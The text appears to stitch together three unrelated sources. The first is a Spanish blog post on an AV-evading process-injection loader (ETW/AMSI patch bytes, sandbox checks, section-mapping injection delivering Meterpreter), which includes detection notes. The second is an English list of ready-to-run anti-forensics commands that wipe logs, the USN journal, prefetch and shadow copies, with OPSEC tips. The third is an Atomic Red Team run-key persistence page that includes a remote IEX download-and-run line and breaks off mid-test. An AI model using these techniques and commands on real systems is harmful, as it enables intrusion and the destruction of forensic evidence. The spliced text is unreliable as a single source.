El 90% de los loaders mueren en los primeros 30 segundos

Dato de contexto antes de entrar en materia: según la telemetría de Microsoft Cyber Signals 2025, más del 90% de los intentos de inyección de proceso basados en herramientas públicas son neutralizados antes de que el payload complete la ejecución. Ese número suena alto hasta que ves el código de lo que está usando la mayoría. La tríada VirtualAllocEx → WriteProcessMemory → CreateRemoteThread, documentada en posts de 2012, sigue siendo el patrón central de prácticamente todos los loaders genéricos que circulan. Nadie la cambió porque funcionaba. Ahora no funciona y siguen sin cambiarla.

Este post no es una guía de bypass de AV en cinco pasos. Hay cincuenta de esos y todos envejecen mal. Lo que vas a leer es la documentación técnica de RexLDR, el loader que usé en un engagement el 11 de abril de 2026 para abrir una sesión Meterpreter en Windows 11 con Defender activo. Explico qué hace cada técnica, qué hubiera detectado Defender si no estuviera implementada, qué ve el Blue Team igualmente a pesar del bypass, y dónde falla el loader, porque ninguno es perfecto y fingir que sí lo es es la señal más clara de que alguien no entiende lo que hace.

Por qué los loaders genéricos siguen fallando

Windows Defender opera en dos capas y hay que considerar las dos al mismo tiempo.

La primera es análisis estático: escanea el binario antes de ejecutarlo buscando importaciones sospechosas en el IAT, strings reconocibles, secciones con alta entropía. La mayoría de loaders genéricos mueren aquí porque nadie se molesta en ocultar los imports.

La segunda capa es comportamental. Una vez en ejecución, monitoriza llamadas a APIs, telemetría ETW, patrones de acceso a memoria. Esta es la parte difícil porque para evadirla hay que entender exactamente qué está observando el motor, no solo saber qué funciones llamas.

RexLDR ataca las dos capas. Lo que sigue es la explicación técnica.

Punto de partida

Antes de entrar en la arquitectura, contexto importante: la base de RexLDR la saqué del repositorio de 7h3w4lk3r en https://github.com/7h3w4lk3r/RexLdr. El loader original ya tenía la estructura correcta y algunas ideas buenas, pero en entornos con Defender actualizado a 2026 detectaba sin problemas. Lo que hice fue partir de esa base y añadir las capas de evasión que se documentan en este post: el PEB Walker completo para eliminar imports del IAT, RC4 propio para quitar la dependencia de Advapi32, ETW y AMSI patching, la detección de sandbox, y cambiar la inyección clásica por MapView. El resultado final es diferente en lo que importa, que es el bypass, pero el crédito del punto de partida es suyo. En este mundillo hay demasiada gente que toma trabajo ajeno sin mencionarlo.

Arquitectura del loader

La secuencia de ejecución está diseñada para reducir la superficie de detección en cada paso:

[Sandbox check] ---- falla ----> [Exit limpio sin IOC]
      |
      v
[ETW patch]            -> Silenciar telemetría de user-mode
      |
      v
[AMSI patch]           -> Desactivar escaneo en proceso actual
      |
      v
[Sleep + timing check] -> Anti-aceleración de sandbox
      |
      v
[RC4 decrypt]          -> Payload en memoria, solo en runtime
      |
      v
[PEB Walker]           -> Resolver funciones NT sin imports visibles
      |
      v
[NtQuerySystemInformation] -> Localizar explorer.exe sin APIs ruidosas
      |
      v
[NtCreateSection + NtMapViewOfSection] -> Inyección sin tríada clásica
      |
      v
[NtCreateThreadEx]     -> Ejecución en proceso remoto

Cada bloque tiene una razón de ser. Voy por partes.

Las técnicas

PEB Walker: la base de todo lo demás

Empiezo por aquí porque el resto del loader depende de esto.

El problema con llamar a GetProcAddress y GetModuleHandle directamente es que aparecen en el IAT del binario. Cualquier motor estático que mire el binario ve "este proceso importa NtCreateThreadEx, NtMapViewOfSection y NtQuerySystemInformation" y ya sabe lo que está pasando antes de que el programa arranque. Ni siquiera necesita ejecutarlo.

El PEB Walker resuelve eso caminando manualmente la estructura PEB del proceso: PEB → Ldr → InMemoryOrderModuleList, que contiene la lista de módulos cargados. Se itera sobre ellos, se comparan hashes de los nombres de funciones exportadas, y se obtiene la dirección de lo que necesitas sin que esa dependencia aparezca en ningún sitio del binario.

Resultado práctico: el IAT del loader no tiene ni una importación sospechosa. Si alguien lo abre con PEBear, ve un binario que aparentemente no hace nada interesante. Para el análisis estático, es invisible.

Lo que sí ve el Blue Team con Sysmon bien configurado es el comportamiento en runtime. Los accesos a memoria resultantes de la resolución de funciones son visibles, y las llamadas a esas funciones una vez resueltas las captura cualquier EDR con kernel hooks. El PEB Walker protege del análisis estático, no del comportamental.

Consideré indirect syscalls (Hell's Gate) como alternativa más sigilosa: elimina la dependencia de ntdll completamente. Es el siguiente nivel lógico pero requiere mapear syscall numbers para cada versión de Windows. Para este engagement el PEB Walker era suficiente. Hell's Gate está en el roadmap.

Para el Blue Team: La ausencia de imports en el IAT combinada con comportamiento de inyección posterior es en sí misma una señal. EDR con kernel hooks capturan las llamadas NT independientemente de lo que diga el IAT. En MDE, la telemetría de API calls la registra el Kernel Sensor aunque el IAT esté vacío.

Referencias: Sektor7 Institute, "Malware Development Essentials". Hasherezade, "Process Doppelgänging", BlackHat EU 2017. MITRE ATT&CK T1055.

RC4 propio: eliminar la dependencia de Advapi32

Hay una forma de cifrar el payload que delata al loader antes de ejecutarlo: usar SystemFunction032 de Advapi32.dll. Es la función que implementa RC4 en Windows y aparece en el IAT de tantos loaders maliciosos que es firma conocida. Si está en tus imports junto con comportamiento de inyección, ya estás marcado.

La solución es implementar RC4 tú mismo. KSA + PRGA en C puro son unas 30 líneas. El payload viaja cifrado dentro del binario y se descifra en runtime sin tocar ninguna API del sistema para ello.

Hay un precio que pagar. El shellcode descifrado en memoria es detectable si hay un barrido de memoria en el momento adecuado. Defender hace escaneos periódicos en algunos contextos y una vez que el payload está en claro, las firmas de Meterpreter aplican perfectamente. El bypass es efectivo en el momento de la inyección, pero si alguien hace un dump de memoria con pe-sieve o malfind después de que el loader ya corrió, el shellcode está ahí sin cifrar.

Por qué RC4 y no AES o XOR puro: AES requeriría más código o dependencias. XOR puro es demasiado débil contra análisis de entropía porque mantiene patrones estadísticos detectables. RC4 implementado en C sin dependencias externas es el balance correcto aquí.

Para el Blue Team: YARA sobre procesos en ejecución captura el shellcode una vez descifrado. Binario con alta entropía más ausencia de imports típicos más comportamiento de inyección posterior es una señal correlacionable en cualquier SIEM. La entropía alta por sí sola no es suficiente, pero combinada con lo demás, sí.

Referencias: ESET Research, análisis del implante Shlayer (2020). VirusBulletin 2019, "Bypassing Antivirus with Shellcode Encryption". MITRE ATT&CK T1027.

String obfuscation: un detalle pequeño que importa

explorer.exe no aparece como string en el binario. Se construye carácter a carácter en runtime. Parece una medida menor, pero los motores estáticos modernos correlacionan strings de nombres de proceso legítimos con imports de APIs de inyección para inferir intención antes de la ejecución. Si el nombre del proceso objetivo está en claro, es una señal más que se acumula.

La construcción es manual porque MSVC con optimizaciones Release a veces convierte arrays de caracteres de vuelta a strings literales dependiendo del contexto. Hacerlo a mano garantiza que no hay regresiones de compilación.

Lo que sigue siendo visible: Sysmon Event ID 10 registra cuando un proceso abre otro con determinados flags de acceso. El acceso a explorer.exe con flags de creación de hilos es completamente visible independientemente de cómo se construyó el nombre en el código. La obfuscación de strings protege del análisis estático, no del comportamental.

Para el Blue Team: Sysmon Event ID 10 con TargetImage = explorer.exe y GrantedAccess con flags de PROCESS_CREATE_THREAD desde procesos no firmados por Microsoft es una señal de alta fidelidad. Pocos procesos legítimos necesitan abrir explorer.exe con esos derechos.

ETW patching: lo que funciona y lo que no

ETW es la infraestructura de telemetría que alimenta gran parte de lo que ven los EDR. EtwEventWrite en ntdll.dll es la función que publica esos eventos. El patch es un byte: escribir 0xC3 (RET) al inicio de la función hace que retorne inmediatamente sin publicar nada.

Sin este patch, el provider Microsoft-Windows-Threat-Intelligence (GUID: F4E1897C-BB5D-5668-F1D8-040F4D8DD344) generaría eventos críticos sobre las operaciones de inyección: KERNEL_THREATINT_TASK_MAPVIEW_REMOTE, KERNEL_THREATINT_TASK_CREATETHREADEX_REMOTE. Esos eventos los consume Defender en tiempo real para detectar inyección de proceso.

Aquí hay que ser honesto sobre la limitación porque es importante. Ese provider opera parcialmente en kernel mode a través de callbacks ELAM. El patch de user-mode de EtwEventWrite en ntdll afecta solo a los eventos generados desde user-mode en el proceso actual. Los callbacks de kernel no los toca. Si el entorno tiene MDE con Kernel Sensor habilitado, mantiene visibilidad sobre las operaciones de inyección independientemente de este patch. El entorno de pruebas de este engagement era Windows Defender standalone, sin MDE. Esa distinción importa mucho.

Otra cosa que el Blue Team puede ver: el propio acto de parchear EtwEventWrite. Sysmon Event ID 25 (ProcessTampering) puede capturarlo en entornos con esa configuración activa.

Para el Blue Team: Sysmon Event ID 25 para ProcessTampering sobre ntdll.dll. Con MDE P2, el Kernel Sensor da cobertura independiente del ETW de user-mode. Sigma rule de referencia: win_susp_etw_patching en SigmaHQ.

Referencias: MDSec Research, "Blinding EDR On Windows" (2020). Elastic Security Labs, "Detecting and Defeating ETW Bypass" (2022). MITRE ATT&CK T1562.006.

AMSI patching: relevante aunque este sea un loader en C

Para un loader en C puro que no usa scripting engines, AMSI importa menos que en un loader PowerShell. Pero se parchea por consistencia y porque si el entorno objetivo tiene integraciones personalizadas del AMSI provider, la capa existe.

El patch escribe xor eax, eax; ret (0x31 0xC0 0xC3) al inicio de AmsiScanBuffer en amsi.dll. La función retorna siempre AMSI_RESULT_CLEAN.

Una nota de vigencia: Windows 11 22H2 añadió protecciones adicionales contra modificación de amsi.dll en contextos Protected Processes Light. El patch funcionó en el entorno de pruebas específico. Los resultados varían según la build exacta de Windows.

Para el Blue Team: Monitorizar escrituras en páginas de código de amsi.dll mediante driver de seguridad. ScriptBlock Logging (Event ID 4104) en entornos con PowerShell o .NET. Sigma rule: win_susp_amsi_bypass en SigmaHQ.

Referencias: Matt Graeber (@mattifestation), bypass original vía reflexión .NET (2016). CyberArk Research, "AMSI Bypass: Patching Technique" (2018).

Sandbox detection: calibrar los umbrales cuesta más de lo que parece

Los sandboxes automatizan el análisis de dos formas: acelerando el tiempo de ejecución, y corriendo en entornos mínimos con pocos recursos.

RexLDR implementa las dos contra-medidas. Para el timing: NtDelayExecution 5 segundos, luego comparar el tick count actual con el esperado. Si hay aceleración de tiempo, el delta es anómalamente bajo y el loader sale sin ejecutar nada. Para la detección de entorno: CPU cores menores de 1 (salida), RAM disponible menor de 1 GB (salida), procesos activos menores de 10 (salida).

Lo que parece sencillo tiene su parte complicada en la práctica. Los umbrales iniciales que usé (cores ≤ 2, RAM < 4 GB, procs < 25) me daban falsos positivos en mis propias VMs de laboratorio. Tuve que bajarlos bastante. El punto es que cada entorno es diferente y los umbrales hay que calibrarlos contra el entorno objetivo real, no contra una VM genérica de referencia.

Los sandboxes modernos han evolucionado para lidiar con esto. Microsoft Intelligent Security Graph ejecuta algunas muestras durante períodos más largos. Un binario que sale limpiamente del sandbox pero tiene alta entropía es en sí mismo una señal de evasión activa, y los analistas buenos lo saben.

Para el Blue Team: Behavioral analysis que correlaciona binario con alta entropía más sleep largo más inyección posterior es mucho más efectivo que sandboxing puro. Elastic Security Labs publicó en 2023 investigación sobre detección de sleep obfuscation. Una muestra que sale limpia del sandbox pero tiene entropía alta merece análisis manual, no descarte automático.

MapView injection: por qué no uso la tríada clásica

La tríada VirtualAllocEx + WriteProcessMemory + VirtualProtectEx es básicamente una firma comportamental en sí misma. Behavior:Win32/Meterpreter.gen!A, la detección específica que bypaseé en este engagement, detecta entre otras cosas ese patrón de llamadas. Los eventos ETW correspondientes se generarían inmediatamente con cualquier herramienta que use esas APIs.

La alternativa que usa RexLDR: NtCreateSection + NtMapViewOfSection. Se crea una sección de memoria ejecutable en el kernel, se mapea localmente para escribir el payload, y luego se mapea esa misma sección en el espacio de memoria de explorer.exe. El shellcode nunca se "escribe" en el proceso remoto vía WriteProcessMemory. Se comparte a través de una sección de kernel.

Para la enumeración de procesos: NtQuerySystemInformation(SystemProcessInformation) en lugar de CreateToolhelp32Snapshot. Menos monitorizado, más directo.

Cosas que probé y descarté. Process Hollowing requiere crear un proceso suspendido, lo que genera telemetría de creación de proceso con flags de suspensión y es detección casi universal. APC injection es más ruidoso que MapView en términos de comportamiento de kernel. Thread hijacking en explorer.exe fue lo primero que intenté y lo tuve que abandonar: los hilos de explorer están en estado de espera en kernel (WaitForMultipleObjects) y redirigir el RIP resulta inconsistente. Me reventé explorer.exe un par de veces antes de entender por qué. NtCreateThreadEx es más predecible.

Lo que sí ve el Blue Team igualmente: Sysmon Event ID 10 (ProcessAccess) registra cuando el loader abre explorer.exe con NtOpenProcess. El GrantedAccess de PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD desde un proceso no firmado sobre explorer.exe es una señal de alta fidelidad. Pocos procesos legítimos necesitan hacer eso.

Para el Blue Team: Sysmon Event ID 10 con TargetImage = explorer.exe y GrantedAccess con flags de creación de hilos desde procesos no firmados Microsoft es detección de muy alta fidelidad con pocos falsos positivos. Correlacionado con Event ID 8 (NtCreateThreadEx) en la misma ventana de tiempo, es prácticamente confirmación. En MDE: DeviceEvents | where ActionType == "CreateRemoteThreadApiCall" and InitiatingProcessFileName !in ("svchost.exe", "csrss.exe").

Referencias: Endgame Research, "Ten Process Injection Techniques" (2017). BlackHat USA 2019, "Process Injection Techniques - Gotta Catch Them All". MITRE ATT&CK T1055.015.

NtCreateThreadEx: el último paso

CreateRemoteThread genera telemetría explícita y está monitorizada por prácticamente todo lo que se vende como EDR. NtCreateThreadEx es su equivalente en NT, resuelto vía PEB Walker, que opera con menos visibilidad a nivel de API de alto nivel.

El acceso al proceso se pide con permisos mínimos: PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION. Sin PROCESS_ALL_ACCESS, que es otra firma comportamental de alta confianza en cualquier EDR configurado correctamente.

Sysmon Event ID 8 puede capturar NtCreateThreadEx dependiendo de la configuración. Y si hay MDE con Kernel Sensor, KERNEL_THREATINT_TASK_CREATETHREADEX_REMOTE se genera independientemente de cómo se resuelva la función en user-mode. El acceso con los flags mencionados sobre explorer.exe desde un proceso no firmado es la señal más visible de todo el loader.

Para el Blue Team: Correlación de Sysmon Event ID 10 (ProcessAccess sobre explorer.exe) más Event ID 8 (NtCreateThreadEx) en ventana de tiempo corta desde el mismo proceso origen es detección prácticamente sin falsos positivos. Sigma rule: proc_access_win_inject_via_ntcreatethreadex en SigmaHQ.

Limitaciones que vale la pena documentar

Ningún loader es perfecto. Documentar las limitaciones es lo que diferencia una investigación técnica seria de un post de marketing.

El ETW patch no afecta al Kernel Sensor de MDE. Ya se dijo, pero vale la pena repetirlo porque es la limitación más crítica. Organizaciones con MDE Plan 2 y Kernel Sensor habilitado tienen visibilidad sobre las operaciones de inyección independientemente del patch de user-mode. RexLDR no tiene mecanismos para evadir telemetría a nivel de kernel.

Sin evasión de hooks de kernel de EDR. CrowdStrike, SentinelOne y similares ponen drivers en el kernel que hookean syscalls directamente. El PEB Walker resuelve funciones de ntdll, pero si ntdll está hookeada a nivel de kernel, esas llamadas son visibles igualmente. Indirect syscalls (Hell's Gate / Halo's Gate) mitigarían esto.

El tráfico de red no está obfuscado. meterpreter_reverse_tcp usa TCP raw sobre el 4444. Sin perfil C2 personalizado y transporte HTTPS, cualquier solución NDR con firmas de Meterpreter detecta la sesión. RexLDR bypasea el endpoint pero no el monitoring de red. En un entorno con NSM maduro, la sesión es visible en red aunque el endpoint no alertara.

En memoria, el shellcode es detectable post-ejecución. Una vez descifrado y ejecutado, las firmas de Meterpreter están en memoria sin cifrar. pe-sieve, malfind o el propio Defender en escaneo periódico los encuentran. El bypass es efectivo en el momento de la inyección, no garantiza invisibilidad indefinida.

El proceso objetivo es predecible. Siempre explorer.exe. Una sola regla que alerte sobre cualquier proceso no-Microsoft abriendo explorer.exe con derechos de creación de hilos cubre esto. PPID spoofing y selección dinámica del proceso objetivo son mejoras directas.

Sin persistencia. La sesión se pierde en reboot. Correcto para un primer acceso puntual, insuficiente para operaciones largas.

Resultados y cómo se verificó la ausencia de detección

Entorno de pruebas

La ausencia de MDE es relevante y merece destacarse. Con MDE P2 y Kernel Sensor habilitado, el resultado no está garantizado. Las pruebas con Defender standalone no representan el nivel de detección de un entorno corporativo con MDE completo. Es importante decirlo porque muchos posts de bypass de AV no lo hacen.

Logs revisados para confirmar la ausencia de detección

Windows Defender Operational Log en Applications and Services Logs → Microsoft → Windows → Windows Defender → Operational: sin Event ID 1116 (malware detected) ni 1117 (malware action taken) durante el período de la prueba.

Windows Defender Threat History: sin entradas en el período.

Event Viewer → Security: el proceso loader aparece en Event ID 4688 (creación de proceso), sin correlaciones de alerta asociadas.

Process Monitor utilizado durante el desarrollo para verificar el comportamiento del loader y confirmar las llamadas NT esperadas sin terminaciones inesperadas. MDE Portal no disponible en este entorno, lo cual es una limitación del setup de pruebas que afecta a la validez de los resultados en entornos corporativos.

Sobre la vida útil de estas técnicas

Cada técnica documentada aquí tiene fecha de caducidad.

El ETW patching de user-mode fue efectivo durante años. Microsoft está moviendo más detecciones al kernel, donde los patches de user-mode no llegan. El AMSI bypass directo de AmsiScanBuffer está cada vez más vigilado y aparecen protecciones adicionales en cada build nueva de Windows. MapView injection era casi desconocida en firmas comportamentales hace tres años. Hoy tiene su entrada en MITRE ATT&CK como T1055.015 y hay reglas de Sigma maduras para detectarla.

Esto es estructural, no accidental. La detección por comportamiento obliga a los defensores a conocer exactamente qué patrón de llamadas corresponde a cada técnica. La respuesta ofensiva es bajar un nivel de abstracción: de Win32 a NT, de NT a syscalls directos, de syscalls a técnicas sobre estructuras de kernel directamente. En cada iteración, la ventana de efectividad se estrecha y el coste de desarrollo sube de forma no lineal.

Lo que más me interesa de este ciclo no es qué técnica específica funcionará el año que viene. Eso cambia con cada actualización. Lo que me interesa es el principio que subyace: la detección por comportamiento siempre puede ser evadida si el atacante reduce suficientemente su huella de syscalls y opera cerca del metal. Indirect syscalls eliminan la dependencia de ntdll hookeada por EDR. Exploits de kernel eliminan incluso esa dependencia. Pero a medida que bajas de nivel, el número de desarrolladores capaces de operar ahí cae exponencialmente, y la asimetría de recursos empieza a favorecer a los defensores en términos de sostenibilidad.

RexLDR es una fotografía de un momento concreto contra un entorno concreto. El valor no está en las técnicas, que van a envejecer, sino en documentar por qué funcionan y cuándo van a dejar de hacerlo.

These commands target:

• Red Ghost OpsFree spaceRed Ghost Ops (unrecoverable deletion)

• Red Ghost OpsEvent logsRed Ghost Ops

• Red Ghost OpsDNS cacheRed Ghost Ops

• Red Ghost OpsBrowser artifactsRed Ghost Ops

• Red Ghost OpsNTFS metadata (USN Journal)Red Ghost Ops

• Red Ghost OpsTemp files, prefetch, print spoolRed Ghost Ops

• Red Ghost OpsTelemetry and error reportingRed Ghost Ops

Warning (Red Team Disclaimer): Use only in authorized engagements. These actions are irreversible and may trigger EDR alerts if not executed with proper OPSEC.

1. Overwrite Free Space – Prevent File Recovery

cipher /w:C:\

• Purpose: Overwrites all free space on C:\ with 0x00, 0xFF, and random data (3-pass pattern).

• Impact: Deleted files become unrecoverable by forensic tools (Recuva, Autopsy, etc.).

• Risk: High I/O and CPU usage. Slow (hours on large drives). No effect on active files.

• Blue Team Counter: Volume Shadow Copies (VSS) may still contain prior snapshots.

2. Flush DNS Cache – Break Local Resolution Trails

ipconfig /flushdns

• Purpose: Clears locally cached DNS resolutions.

• Impact: Forces fresh DNS queries—removes evidence of C2 domains accessed.

• Risk: Low. May cause brief connectivity delays.

• Blue Team Counter: Network logs (firewall, DNS server) remain untouched.

3. Clear System Event Log

wevtutil cl System

• Purpose: Permanently deletes the System event log.

• Impact: Removes boot, driver, service, and security events.

• Risk: Irreversible. Breaks incident timeline reconstruction.

• Blue Team Counter: SIEM ingestion prior to clear; Event Log backup services.

4. Wipe IE/Edge Legacy Browser Artifacts

RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 255

• Purpose: Deletes history, cookies, cache, passwords, form data from IE/Edge (legacy).

• Impact: Covers web-based C2 (e.g., Empire over HTTP).

• Risk: Low. Affects only IE/Edge components.

• Blue Team Counter: Modern Edge (Chromium) uses different storage—use browser-specific tools.

5. Delete NTFS USN Change Journal

fsutil usn deletejournal /d /n C:

• Purpose: Erases the USN Journal ($UsnJrnl), which tracks file creation/modification/deletion.

• Impact: Breaks incremental backups, file indexing (Search, antivirus), and timeline analysis.

• Risk: High—may corrupt backup chains or trigger AV rescans.

• Blue Team Counter: Journal may auto-recreate on next change; prior entries lost.

6. Clear User Temp Files

del /f /s /q %TEMP%\*.*

• Purpose: Force-deletes all files in the user’s temp directory.

• Impact: Removes payloads, scripts, or tools staged in %TEMP%.

• Risk: Low–moderate. Running apps may crash if files are in use.

• Blue Team Counter: File access monitoring (Sysmon Event ID 11) may log before deletion.

7. Disable Hibernation & Delete hiberfil.sys

powercfg /hibernate off

• Purpose: Removes hiberfil.sys (size ≈ RAM), a common forensic goldmine (contains RAM dump).

• Impact: Frees space; prevents hibernation.

• Risk: Reversible (powercfg /hibernate on). Disables Fast Startup.

• Blue Team Counter: None if executed post-exfiltration.

8. Reset TCP/IP Stack

netsh interface ipv4 reset

• Purpose: Clears custom IP/DNS settings, proxy configs, and interface state.

• Impact: Useful after using static routes or proxychains.

• Risk: Requires reconfig or reboot. May break VPNs.

• Blue Team Counter: Netflow or interface config logs.

9. Clear Print Spooler Queue

del /q /f /s %systemroot%\System32\spool\PRINTERS\*

• Purpose: Deletes pending print jobs (often contain sensitive docs or stagers).

• Impact: Cancels all print jobs.

• Risk: Low. May require spooler restart if files locked.

• Blue Team Counter: PrintNightmare or spooler monitoring.

10. Disable Telemetry

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\DataCollection" /v AllowTelemetry /t REG_DWORD /d 0 /f

• Purpose: Sets telemetry to 0 (disabled) via GPO-style registry key.

• Impact: Reduces diagnostic data sent to Microsoft.

• Risk: Low. May not apply on Home editions.

• Blue Team Counter: Central telemetry collection (e.g., OMS, Defender ATP).

11. Clear Prefetch Files

del /q /f /s %SystemRoot%\Prefetch\*.*

• Purpose: Deletes .pf files that record application execution paths and timestamps.

• Impact: Removes evidence of tool usage (e.g., mimikatz.exe).

• Risk: Temporary performance hit on app launch.

• Blue Team Counter: Prefetch parsing (e.g., PECmd, WinPMEM).

12. Disable Windows Error Reporting

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Error Reporting" /v Disabled /t REG_DWORD /d 1

• Purpose: Stops crash dumps and error reports.

• Impact: Prevents upload of memory dumps containing keys or tokens.

• Risk: Low. Hinders post-exploitation analysis.

• Blue Team Counter: Local WER queue before upload.

Execution Order & OPSEC Tips

cipher /w:C:\
ipconfig /flushdns
wevtutil cl System
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 255
fsutil usn deletejournal /d /n C:
del /f /s /q %TEMP%\*.*
powercfg /hibernate off
netsh interface ipv4 reset
del /q /f /s %systemroot%\System32\spool\PRINTERS\*
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\DataCollection" /v AllowTelemetry /t REG_DWORD /d 0 /f
del /q /f /s %SystemRoot%\Prefetch\*.*
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Error Reporting" /v Disabled /t REG_DWORD /d 1

OPSEC Recommendations:

• Run as SYSTEM (via psexec -s or token impersonation).

• Disable EDR hooks first (if possible).

• Avoid GUI—use cmd or PowerShell with -WindowStyle Hidden.

• Stagger execution to avoid I/O spikes.

• Check VSS first: vssadmin list shadows → delete if needed (/for=C:).

What This Doesn’t Cover

• Memory forensics (use Rundll32.exe comsvcs.dll MiniDump countermeasures separately)

• Modern Edge/Chrome (use Get-Process msedge | Stop-Process + clear %LocalAppData%\Microsoft\Edge)

• Sysmon/Event Forwarding

• MFT/$LogFile (use fsutil behavior set disablecompression 1 + ntfsinfo)

Final Notes

This sequence turns a compromised host into a forensic black hole. Blue team will see:

• No event logs

• No prefetch

• No DNS history

• No recoverable deleted files

Red Team Pro Tip: Combine with timestomping, logon spoofing, and AMS1 bypass for full-spectrum evasion.

Stay ghosted.

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.

The following run keys are created by default on Windows systems:

• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

• HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

• HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.

The following Registry keys can be used to set startup folder items for persistence:

• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

The following Registry keys can control automatic startup of services during boot:

• HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

• HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices

• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

• HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run automatically for the currently logged-on user.

By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

Atomic Tests

• Atomic Test #1 - Reg Key Run

• Atomic Test #2 - Reg Key RunOnce

• Atomic Test #3 - PowerShell Registry RunOnce

• Atomic Test #4 - Suspicious vbs file run from startup Folder

• Atomic Test #5 - Suspicious jse file run from startup Folder

• Atomic Test #6 - Suspicious bat file run from startup Folder

• Atomic Test #7 - Add Executable Shortcut Link to User Startup Folder

• Atomic Test #8 - Add persistance via Recycle bin

• Atomic Test #9 - SystemBC Malware-as-a-Service Registry

• Atomic Test #10 - Change Startup Folder - HKLM Modify User Shell Folders Common Startup Value

• Atomic Test #11 - Change Startup Folder - HKCU Modify User Shell Folders Startup Value

• Atomic Test #12 - HKCU - Policy Settings Explorer Run Key

• Atomic Test #13 - HKLM - Policy Settings Explorer Run Key

• Atomic Test #14 - HKLM - Append Command to Winlogon Userinit KEY Value

• Atomic Test #15 - HKLM - Modify default System Shell - Winlogon Shell KEY Value

• Atomic Test #16 - secedit used to create a Run key in the HKLM Hive

• Atomic Test #17 - Modify BootExecute Value

• Atomic Test #18 - Allowing custom application to execute during new RDP logon session

• Atomic Test #19 - Creating Boot Verification Program Key for application execution during successful boot

• Atomic Test #20 - Add persistence via Windows Context Menu

Atomic Test #1 - Reg Key Run

Run Key Persistence

Upon successful execution, cmd.exe will modify the registry by adding "Atomic Red Team" to the Run key. Output will be via stdout.

Supported Platforms: Windows

auto_generated_guid: e55be3fd-3521-4610-9d1a-e210e42dcf05

Inputs:

Attack Commands: Run with command_prompt!

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /t REG_SZ /F /D "#{command_to_execute}"

Cleanup Commands:

REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /f >nul 2>&1

Atomic Test #2 - Reg Key RunOnce

RunOnce Key Persistence.

Upon successful execution, cmd.exe will modify the registry to load AtomicRedTeam.dll to RunOnceEx. Output will be via stdout.

Supported Platforms: Windows

auto_generated_guid: 554cbd88-cde1-4b56-8168-0be552eed9eb

Inputs:

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "#{thing_to_execute}"

Cleanup Commands:

REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f >nul 2>&1

Atomic Test #3 - PowerShell Registry RunOnce

RunOnce Key Persistence via PowerShell Upon successful execution, a new entry will be added to the runonce item in the registry.

Supported Platforms: Windows

auto_generated_guid: eb44f842-0457-4ddc-9b92-c4caa144ac42

Inputs:

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$RunOnceKey = "#{reg_key_path}"
set-itemproperty $RunOnceKey "NextRun" '#{thing_to_execute} "IEX (New-Object Net.WebClient).DownloadString(`"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`")"'

Cleanup Commands:

